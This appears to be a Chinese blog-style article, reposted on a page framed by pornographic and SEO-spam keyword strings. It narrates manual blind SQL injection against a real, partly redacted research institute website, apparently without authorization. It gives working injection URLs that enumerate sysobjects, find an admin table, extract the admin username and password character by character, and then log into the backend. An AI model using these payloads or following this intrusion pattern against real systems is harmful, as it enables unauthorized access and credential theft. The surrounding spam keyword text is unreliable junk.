成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

某網站安全檢測之數據庫手工注入

安全 數據安全
所謂數據庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。來自官方的說法是:“當應用程序使用輸入內容來構造動態SQL語句以訪問數據庫時,會發生SQL注入攻擊。

一、引子

長夜慢慢,無心睡眠……

無意中翻到幾年前聽的一首名為《祖先的陰影》的搖滾,這么長久的歷史,混合著許多的罪惡與功績;這么“燦爛的文化”,夾雜著太多的愚昧與文明。美好的,如漢字,圍棋古箏,詩詞曲賦等;糟糕的,如一輩子只會干“殺盡叛賊、占據王位,選好王妃,建造墳堆”四件事的皇帝及官僚制度,小腳,太監及八股文等等。

噢,且慢,八股文——不要言之過早!今天,讓我用八股文這一舊瓶,來包裝一下IT方面的新酒;把數據庫注入這一有幾個年頭的安全技術,再寫一篇略有新意的文章。

二、概要

所謂數據庫注入,也就是SQL Injection,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。來自官方的說法是:“當應用程序使用輸入內容來構造動態SQL語句以訪問數據庫時,會發生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發生SQL注入攻擊。SQL注入可能導致攻擊者能夠使用應用程序登錄在數據庫中執行命令。如果應用程序使用特權過高的帳戶連接到數據庫,這種問題會變得很嚴重。”在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入攻擊。而許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷或者程序中本身的變量處理不當,使應用程序存在安全隱患。這樣用戶就可以提交一段數據庫查詢代碼,(一般是在瀏覽器地址欄進行,通過正常的www端口訪問)根據程序返回的結果,獲得一些敏感的信息或者控制整個服務器,于是SQL注入產生了。其實簡單點說,SQL注入的原理就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。

當然,能不能構造、構造什么樣的數據庫查詢代碼,就有是菜鳥和高手的區別了;同時我向大伙保證:我絕不是高手——我基本上連數據庫都不會用,所以大伙看了文章后不要問我太多太深的問題,因為我也不知道。

三、檢測

查找資料的過程中,被鏈接到某電信技術研究院網站,看了一下首頁代碼及鏈接,用and和or簡單測試了一下,沒發現什么,在最后快要放棄的時候,發現如下頁面有點意思。

1=1(不正常)

[[60427]]

1=2(也不正常)

加一個特殊符號,則如下圖示。

[[60428]]

(返回正常)

[[60429]]

(返回異常)

嘿嘿,存在注入,心花怒放!

四、暴庫

上面就可以知道該網站后臺數據庫是MS SQL Server。

[[60430]]

(select count(*) from [sysobjects])>=0(返回正常,可見數據庫為SQL Server)

探測該網站數據庫實例名,我很幸運,竟然通過錯誤暴出來,請看下圖。

[[60431]]

SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交錯誤,網站也報錯,看紅色下劃線處和紅色長方形里,可見數據庫實例名為jstrd。

五、尋表

漫長而痛苦的工作開始了,同時因為在創建一個數據庫的同時,系統會自動建立一些系統表,我構造了如下的語句,來探測數據庫實例jstrd中的表名。

限于篇幅的緣故我在這里只介紹與應用實例有關的一個系統表(SYSOBJECTS)及其相關的字段。

表SYSOBJECTS為數據庫內創建的每個對象(約束,規則,表,視圖,觸發器等)創建一條記錄。該表相關字段的含義如下:

SYSOBJECTS.name 對象名,如:表名,視圖名。

SYSOBJECTS.id 對象id。

SYSOBJECTS.type 對象類型(p存儲過程,v視圖,s系統表,u用戶表)。

[[60432]]

太帥了,返回正確,提交的“系統態”語句是:

http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1

翻譯成我們容易識別的“用戶態”(以后都用這種形式表示)是:

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))<=67)>0 and '1'='1&classid=1

或許各位要懵了,這都是些什么東西啊,亂七八糟的?我笑而不答,謎底將在后面揭開。但事先點一下:

xtype是那張表的一個字段,xtype=char(117) 也就是xtype='U' 意思是取用戶的表。空格(Space)的ASCII編碼是32。

歷經多次的失敗后,在如下語句輸入時,探測到我認為是存儲用戶名和密碼的一張表(之前也探測到別的表,但我認為對自己沒有用。并且要說一下的是當我探測到有TblAd之后,我直覺得加上了TblAdmin;后來發現還沒完,有TblAdminUs之后,我直覺得加上了TblAdminUser)。

[[60433]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1

可見有TblAdminUser這么一張表,我們可以再測試一下,如下圖。

[[60434]]

and (select count(*) from TblAdminUser)>0

六、探列

各位看到這里,上面的謎底很可能都明白了。什么,還有不明白的!那好,告訴你:網站及后臺系統理會我上面所說的“系統態”,不理會“用戶態”。你們看看如下兩個表。

[[60435]]

(部分Unicode編碼表)

[[60436]]

(部分ASCII編碼表)

剛才尋到了表,現在我們的工作是探列了,綜合運用上面提到過的知識,加上我的直覺猜測里面應該就有username和password兩個列,果然!請看下圖。

[[60437]]

http://*/show_products.asp?id=22'and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1

[[60438]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

七、結果

沖鋒的號角已經響起,勝利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在這。

[[60439]]

http://*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1

可見username列中,第一個字符是a (ASCII編碼為97),很快,就猜測到了是admin。

判斷password列中,第一個字符應該在g之后,如下圖示。

[[60440]]

http://*/show_products.asp?id=22' (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1and

很快,就猜到了是j,呵呵,有點意思。如下圖示。

[[60441]]

http://*/show_products.asp?id=22'and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

歷經千辛萬苦后,我終于找到了全部密碼,竟然是*********

輕松找到后臺,登陸,果然正確!如下圖示。

[[60442]]

八、尾聲

因為這份文檔主要側重數據庫手工注入,所以注入成功獲得網站控制權后的進一步滲透不作介紹。在這里,是我拋出一塊破磚,引大伙收獲更多的良玉。個人感覺,注入能成功,得益于以下三點:

1、Unicode編碼和ASCII編碼的應用;

2、系統會自動建立的系統表sysobjects的應用;

3、db_name最大長度128的應用,加上一些直覺判斷。

整個過程,耗了近一個星期的業余時間,此時,又是一個深夜……

夜色沉沉,睡意濃濃。

責任編輯:藍雨淚 來源: 星星落在我頭上
相關推薦

2010-09-30 09:11:01

2010-11-01 17:30:01

2010-09-30 08:27:48

2011-04-11 13:19:41

Oracle數據庫

2011-03-31 09:19:54

數據庫優化

2024-01-01 16:16:26

2019-05-31 12:13:49

MySQL數據庫安全

2010-05-06 09:30:16

Oracle創建數據庫

2009-01-06 15:20:01

2010-04-12 08:59:00

2013-11-12 16:38:22

2009-10-09 15:20:12

2013-04-26 11:39:40

2019-01-16 14:20:42

2014-01-17 12:35:48

2011-03-07 15:54:30

2015-10-30 15:05:08

Sybase數據庫安全

2011-03-10 13:24:26

2010-11-09 17:19:49

SQL Server導

2016-12-14 14:45:16

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲国产成人精品在线 | 国产精品久久国产精品 | 国产乱码高清区二区三区在线 | 91在线视频网址 | 美女拍拍拍网站 | 成人精品一区二区 | 国产一区二区三区在线看 | 日日拍夜夜 | 中文字幕一区二区三区四区五区 | 中国毛片免费 | 亚洲国产视频一区二区 | 亚洲欧美国产精品久久 | 91精品久久久 | av夜夜操 | 国产精品国产精品国产专区不片 | 成人精品鲁一区一区二区 | 国产日韩欧美一区二区在线播放 | 日本一区二区高清视频 | 日韩 欧美 二区 | 久久久一区二区 | 天堂va在线| 天堂一区在线观看 | 狠狠色综合久久丁香婷婷 | 天天干狠狠操 | 久久久成人免费一区二区 | 日韩欧美一区二区三区在线播放 | 日本一区二区在线视频 | 日本中文字幕在线观看 | 一区二区三区高清 | wwww.8888久久爱站网 | 亚洲一区三区在线观看 | 97人人超碰| 成人一区二区视频 | 亚洲一区二区三区高清 | 国产精品一区二区不卡 | 国产性色视频 | 欧美午夜视频 | 欧美日韩国产一区二区三区 | 不卡在线视频 | 2018中文字幕第一页 | 亚洲欧美成人影院 |